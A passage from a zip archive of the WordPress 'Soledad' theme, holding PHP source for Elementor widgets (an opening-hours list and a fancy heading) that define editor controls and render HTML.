		return 'penci-open-hour';
	}

	public function get_widgets() {
		return array( 'PenciOpenHour' );
	}
}
PK     N\dA  A  A  inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciOpenHour\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciOpenHour extends Base_Widget {

	public function get_name() {
		return 'penci-open-hour';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Open Hour', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'open hour' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_images', array(
				'label' => esc_html__( 'Openings Hours / Menu', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$repeater = new Repeater();

		$repeater->add_control(
			'icon', array(
				'label'   => __( 'Icon', 'soledad' ),
				'type'    => Controls_Manager::ICON,
				'default' => 'far fa-clock',
				'label_block' => true,
			)
		);
		$repeater->add_control(
			'title', array(
				'label'   => __( 'Custom title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Monday', 'soledad' ),
			)
		);
		$repeater->add_control(
			'subtitle', array(
				'label' => __( 'Subtitle', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'hours', array(
				'label' => __( 'Hours or Price', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);


		$this->add_control(
			'working_hours', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'icon'  => 'far fa-clock',
						'title' => __('Monday','soledad' ),
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => __('Tuesday','soledad' ),
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => __('Wednessday','soledad' ),
						'hours' => '8:00 AM - 9:00 PM'
					)
				),
				'title_field' => '{{{ title }}}',
			)
		);
		$this->add_responsive_control(
			'row_gap', array(
				'label'     => __( 'Space Item', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .penci-workingh-lists li' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'subtitle_martop', array(
				'label'     => __( 'Subtitle Margin Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .penci-listitem-subtitle' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();
		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'ophour_icon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-icon' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_responsive_control(
			'ophour_icon_size', array(
				'label'     => __( 'Font size for Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-icon' => 'font-size: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'ophour_title_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-title' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Typhography for Title', 'soledad' ),
				'name'     => 'ophour_title_typo',
				'selector' => '{{WRAPPER}} .penci-workingh-lists .penci-listitem-title',
			)
		);
		$this->add_control(
			'ophour_subtitle_color',
			array(
				'label'     => __( 'Subtitle Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-subtitle' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Typhography for Subtitle', 'soledad' ),
				'name'     => 'ophour_subtitle_typo',
				'selector' => '{{WRAPPER}} .penci-workingh-lists .penci-listitem-subtitle',
			)
		);

		$this->add_responsive_control(
			'ophour_subtitle_size', array(
				'label'     => __( 'Font size for Subtitle', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-subtitle' => 'font-size: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'ophour_hour_color',
			array(
				'label'     => __( 'Hours or Price Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-hours' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Typhography for Subtitle', 'soledad' ),
				'name'     => 'ophour_hour_typo',
				'selector' => '{{WRAPPER}} .penci-workingh-lists .penci-listitem-hours',
			)
		);
		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		if( ! $settings['working_hours'] ) {
			return;
		}

		$css_class = 'penci-block-vc penci-working-hours';
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div class="penci-workingh-lists">
					<ul>
						<?php foreach ( (array)$settings['working_hours'] as $hour ):
							$icon = isset( $hour['icon'] ) ? $hour['icon'] : '';
							$title = isset( $hour['title'] ) ? $hour['title'] : '';
							$hours = isset( $hour['hours'] ) ? $hour['hours'] : '';
							$subtitle = isset( $hour['subtitle'] ) ? $hour['subtitle'] : '';

							?>
							<li class="penci-workingh-item">
								<div class="penci-workingh-item-inner">
									<div class="penci-workingh-line1">
										<div class="penci-icontitle">
											<?php
											if ( $icon ) {
												echo '<i class="penci-listitem-icon ' . $icon . '"></i>';
											}
											if ( $title ) {
												echo '<span class="penci-listitem-title">' . $title . '</span>';
											}
											?>
										</div>
										<?php
										if ( $hours ) {
											echo '<span class="penci-listitem-hours">' . $hours . '</span>';
										}
										?>
									</div>
									<?php
									if ( $subtitle ) {
										echo '<span class="penci-listitem-subtitle">' . $subtitle . '</span>';
									}
									?>
								</div>
							</li>
						<?php endforeach; ?>

					</ul>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     N\n/j  j  4  inc/elementor/modules/penci-fancy-heading/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFancyHeading;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-fancy-heading';
	}

	public function get_widgets() {
		return array( 'PenciFancyHeading' );
	}
}
PK     N\6UZ  UZ  I  inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFancyHeading\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFancyHeading extends Base_Widget {

	public function get_name() {
		return 'penci-fancy_heading';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Fancy Heading', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-t-letter';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'fancy_heading', 'block', 'penci', 'heading', 'soledad' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'_text_align', array(
				'label'   => __( 'Text Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
			)
		);
		
		$this->add_responsive_control(
			'fancy_width', array(
				'label'     => __( 'Limit Width for Fancy Heading', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-fancy-heading' => 'width: 100%; max-width: {{SIZE}}px;' ),
			)
		);
		
		$this->add_control( 'fancy_alignment', array(
			'label'                => __( 'Block Alignment', 'soledad' ),
			'description'                => __( 'Applies changes when you set a limit width for Fancy Heading', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'default' => 'center',
			'selectors'            => array(
				'{{WRAPPER}} .penci-fancy-heading' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );
		
		// Subtag
		$this->end_controls_section();

		$this->start_controls_section( 'section_fcsubtitle', array(
			'label' => esc_html__( 'Subtitle', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'p_subtitle', array(
				'label'       => __( 'Subtitle Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the subtitle', 'soledad' ),
				'placeholder' => __( 'Add Your Subtitle Text Here', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'subtitle_tag', array(
				'label'   => __( 'Subtitle Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
				'default' => 'div',
			)
		);
		$this->add_control(
			'subtitle_pos', array(
				'label'   => __( 'Subtitle Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'above'     => __( 'Above the title', 'soledad' ),
					'below'     => __( 'Below the title', 'soledad' ),
					'belowline' => __( 'Below the separator', 'soledad' ),
				),
				'default' => 'above',
			)
		);
		
		$this->add_control(
			'subtitle_margin_top', array(
				'label'     => __( 'Subtitle Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-subtitle' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'subtitle_margin_bottom', array(
				'label'     => __( 'Subtitle Spacing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-subtitle' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'subtitle_width', array(
				'label'     => __( 'Limit Width for Subtitle', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-subtitle' => 'width: 100%; max-width: {{SIZE}}px;' ),
			)
		);

		// Title
		$this->end_controls_section();

		$this->start_controls_section( 'section_fctitle', array(
			'label' => esc_html__( 'Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'p_title', array(
				'label'       => __( 'Title Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the title', 'soledad' ),
				'placeholder' => __( 'Add Your title Text Here', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'title_tag', array(
				'label'   => __( 'Title Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
				'default' => 'h2',
			)
		);
		$this->add_control(
			'title_link', array(
				'label'   => __( 'Add Link to Title?', 'soledad' ),
				'type'    => Controls_Manager::URL,
				'dynamic' => array( 'active' => true ),
				'default' => array( 'url' => '' )
			)
		);
		
		$this->add_control(
			'add_line', array(
				'label'     => __( 'Add Lines on Left & Right of Title?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'lines_height', array(
				'label'     => __( 'Lines Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before,{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'height: {{SIZE}}px; margin-top: calc( {{SIZE}}px * -1 / 2 );',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->add_control(
			'lines_width', array(
				'label'     => __( 'Lines Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before,{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'width: {{SIZE}}px;',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->add_control(
			'lines_spacing', array(
				'label'     => __( 'Spacing Between Lines & Title', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit' => 'padding-left: {{SIZE}}px; padding-right: {{SIZE}}px;',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->end_controls_section();
		
		// Line
		$this->start_controls_section( 'section_fcseparator', array(
			'label' => esc_html__( 'Separator', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'_use_separator', array(
				'label'     => __( 'Use separator?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'separator_style', array(
				'label'     => __( 'Border Style:', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''       => 'Solid',
					'dashed' => 'Dashed',
					'dotted' => 'Dotted',
					'double' => 'Double',
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		$this->add_control(
			'add_separator_icon', array(
				'label'     => __( 'Add Separator Icon?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'p_icon', array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICON,
				'label_block' => true,
				'default'   => 'fas fa-star',
				'condition' => array( 'add_separator_icon!' => '' ),
			)
		);

		$this->add_control(
			'separator_border_width', array(
				'label'     => __( 'Separator Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}}  .penci-separator .penci-sep_line'               => 'border-width: {{SIZE}}px;top: calc( -{{SIZE}}px / 2 ); border-bottom: none; border-left: none; border-right: none;',
					'{{WRAPPER}}  .penci-separator.penci-separator-double:after'  => 'border-top-width: {{SIZE}}px;',
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'separator_width', array(
				'label'     => __( 'Separator Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%' ],
				'range' => [
					'px' => [
						'min' => 0,
						'max' => 2000,
						'step' => 1,
					],
					'%' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => array( '{{WRAPPER}}  .penci-separator' => 'max-width: {{SIZE}}px' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'p_icon_martop', array(
				'label'     => __( 'Separator Icon Spacing Top & Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-icon' => 'margin-top: {{SIZE}}px;margin-bottom: {{SIZE}}px' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'p_icon_marlr', array(
				'label'     => __( 'Separator Icon Spacing Right & Left', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( 
					'{{WRAPPER}}  .penci-heading-icon' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;',
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'separator_margin_top', array(
				'label'     => __( 'Separator Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-separator' => 'margin-top: {{SIZE}}px' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->end_controls_section();
		
		// Description
		$this->start_controls_section( 'section_fcdesc', array(
			'label' => esc_html__( 'Description', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'content', array(
				'label'   => __( 'Description', 'soledad' ),
				'type'    => Controls_Manager::TEXTAREA,
				'default' => __( '<p>I am text block. Click edit button to change this text.</p>', 'soledad' ),
			)
		);
		$this->add_control(
			'content_margin_top', array(
				'label'     => __( 'Content Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-content' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'content_width', array(
				'label'     => __( 'Limit Content Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-content' => 'max-width: {{SIZE}}px;width:100%;' ),
			)
		);

		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Fancy Heading', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		
		
		$this->add_responsive_control( 'fancy_padding', array(
			'label'      => __( 'Fancy Heading Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-fancy-heading' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );
		
		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name' => 'fancy_shadow',
				'label' => __( 'Add Box Shadow?', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-fancy-heading',
			)
		);
		
		// Title
		$this->add_control(
			'ssubtitle_heading',
			array(
				'label'     => __( 'SubTitle', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'psubtitle_color',
			array(
				'label'     => __( 'SubTitle Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-subtitle' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'psubtitle_typo',
				'label'    => __( 'SubTitle Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-heading-subtitle',
			)
		);
		
		$this->add_control(
			'stitle_heading',
			array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'ptitle_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title, {{WRAPPER}} .penci-heading-title span, {{WRAPPER}} .penci-heading-title a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'ptitle_scolor',
			array(
				'label'     => __( 'Title Second Color ( for Gradient Text )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title span,{{WRAPPER}} .penci-heading-title a' => 'background: -webkit-linear-gradient(0deg, {{ptitle_color.VALUE}}, {{VALUE}});-webkit-background-clip: text; -webkit-text-fill-color: transparent;' ),
			)
		);
		$this->add_control(
			'ptitle_hcolor',
			array(
				'label'     => __( 'Title URL Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title a:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'ptitle_shcolor',
			array(
				'label'     => __( 'Title URL Hover Second Color(for Gradient Text)', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title a:hover' => 'background: -webkit-linear-gradient(0deg, {{ptitle_hcolor.VALUE}}, {{VALUE}});-webkit-background-clip: text; -webkit-text-fill-color: transparent;' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-heading-title',
			)
		);
		
		$this->add_control(
			'lines_bgcolor',
			array(
				'label'     => __( 'Lines Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before,{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->add_control(
			'lines_sbgcolor',
			array(
				'label'     => __( 'Lines Second Color ( for Gradient )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before' => 'background-image: linear-gradient(to left, {{lines_bgcolor.VALUE}} , {{VALUE}});background-color: transparent;',
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'background-image: linear-gradient(to right, {{lines_bgcolor.VALUE}} , {{VALUE}});background-color: transparent;',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);

		$this->add_control(
			'sseparator_heading',
			array(
				'label'     => __( 'Separator', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'pseparator_color',
			array(
				'label'     => __( 'Separator Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-separator .penci-sep_line' => 'border-color: {{VALUE}};' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		$this->add_control(
			'pseparator_scolor',
			array(
				'label'     => __( 'Separator Second Color ( for Gradient )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-separator .penci-sep_holder_l .penci-sep_line' => 'border-image-source: linear-gradient( to left, {{pseparator_color.VALUE}} , {{VALUE}} );border-image-slice: 1;',
					'{{WRAPPER}} .penci-separator .penci-sep_holder_r .penci-sep_line' => 'border-image-source: linear-gradient( to right, {{pseparator_color.VALUE}} , {{VALUE}} );border-image-slice: 1;'
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);

		$this->add_control(
			'picon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-icon' => 'color: {{VALUE}};' ),
				'condition' => array( 'add_separator_icon!' => '' ),
			)
		);
		$this->add_responsive_control(
			'picon_size', array(
				'label'     => __( 'Font size for Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-heading-icon' => 'font-size: {{SIZE}}px' ),
				'condition' => array( 'add_separator_icon!' => '' ),
			)
		);
		
		// Content
		$this->add_control(
			'sdesc_heading',
			array(
				'label'     => __( 'Description', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'pdesc_color',
			array(
				'label'     => __( 'Description Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-content' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'pdesc_acolor',
			array(
				'label'     => __( 'Description Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-content a' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'pdesc_ahcolor',
			array(
				'label'     => __( 'Description Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-content a:hover' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pdesc_typo',
				'label'    => __( 'Description Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-heading-content',
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$markup_subtitle = $title_line_class = '';
		$subtitle_pos    = $settings['subtitle_pos'];

		if ( $settings['p_subtitle'] ) {
			$markup_subtitle = '<' . esc_attr( $settings['subtitle_tag'] ) . ' class="penci-heading-subtitle">' . $settings['p_subtitle'] . '</' . esc_attr( $settings['subtitle_tag'] ) . '>';
		}
		if( isset( $settings['add_line'] ) && 'yes' == $settings['add_line'] ){
			$title_line_class = ' pc-fctline';
		}
		?>
		<div class="penci-fancy-heading penci-heading-text-<?php echo esc_attr( $settings['_text_align'] ) . $title_line_class ; ?>">
			<div class="penci-fancy-heading-inner">
				<?php

				if ( $markup_subtitle && 'above' == $subtitle_pos ) {
					echo $markup_subtitle;
				}
				if ( $settings['p_title'] ) {

					$title = $settings['p_title'];
					if ( ! empty( $settings['title_link']['url'] ) ) {
						$this->add_render_attribute( 'url', 'href', $settings['title_link']['url'] );

						if ( $settings['title_link']['is_external'] ) {
							$this->add_render_attribute( 'url', 'target', '_blank' );
						}

						if ( ! empty( $settings['title_link']['nofollow'] ) ) {
							$this->add_render_attribute( 'url', 'rel', 'nofollow' );
						}

						$title = sprintf( '<a %1$s>%2$s</a>', $this->get_render_attribute_string( 'url' ), $settings['p_title'] );
					}

					echo '<' . esc_attr( $settings['title_tag'] ) . ' class="penci-heading-title"><span class="inner-tit">' . $title . '</span></' . esc_attr( $settings['title_tag'] ) . '>';
				}

				if ( $markup_subtitle && 'below' == $subtitle_pos ) {
					echo $markup_subtitle;
				}

				if ( $settings['_use_separator'] ) {
					echo '<div class="penci-separator penci-separator-' . esc_attr( $settings['separator_style'] ) . ' penci-separator-' . $settings['_text_align'] . '">';
					echo '<span class="penci-sep_holder penci-sep_holder_l"><span class="penci-sep_line"></span></span>';

					if ( $settings['add_separator_icon'] ) {
						echo '<span class="penci-heading-icon ' . esc_attr( $settings['p_icon'] ? $settings['p_icon'] : 'fa fa-adjust' ) . '"></span>';
					}

					echo '<span class="penci-sep_holder penci-sep_holder_r"><span class="penci-sep_line"></span></span>';
					echo '</div>';
				}

				if ( $markup_subtitle && 'belowline' == $subtitle_pos ) {
					echo $markup_subtitle;
				}

				if ( $settings['content'] ) {
					$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $settings['content'] ) . "\n" );
					$content = do_shortcode( shortcode_unautop( $content ) );

					echo '<div class="penci-heading-content entry-content">' . $content . '</div>';
				}
				?>
			</div>
		</div>
		<?php
	}
}
PK     N\t    =  inc/elementor/modules/penci-fullwidth-hero-overlay/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFullwidthHeroOverlay;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


